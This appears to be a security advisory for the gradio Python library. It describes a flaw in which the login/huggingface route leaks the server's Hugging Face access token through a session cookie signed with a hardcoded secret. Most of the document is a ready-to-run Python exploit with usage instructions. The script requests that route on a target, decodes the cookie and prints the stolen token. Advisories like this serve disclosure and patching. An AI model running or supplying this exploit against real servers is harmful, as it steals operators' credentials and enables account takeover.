Use of Hard-coded Credentials Affecting gradio package, versions [,6.6.0)

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Use of Hard-coded Credentials via the login/huggingface route, which retrieves the server's Hugging Face access token using the huggingface_hub.get_token() function and stores it in the visitor's session cookie. An attacker can obtain server credentials by accessing this route, as the session cookie is signed with a hardcoded secret, making it easily decodable.

#!/usr/bin/env python3
"""
Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
    ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
    args = ap.parse_args()

    base = args.target.rstrip("/")
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session
    s = requests.Session()
    s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

    cookie = s.cookies.get("session")
    if not cookie:
        print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
        sys.exit(1)

    # 2. Decode the cookie payload (base64 before the first ".")
    payload_b64 = cookie.split(".")[0]
    payload_b64 += "=" * (-len(payload_b64) % 4)  # fix padding
    data = json.loads(base64.b64decode(payload_b64))
    token = data.get("oauth_info", {}).get("access_token")

    if token:
        print(f"[+] Leaked HF token: {token}")
    else:
        print("[-] No access_token found in session.", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()

• GitHub Commit
• GitHub Release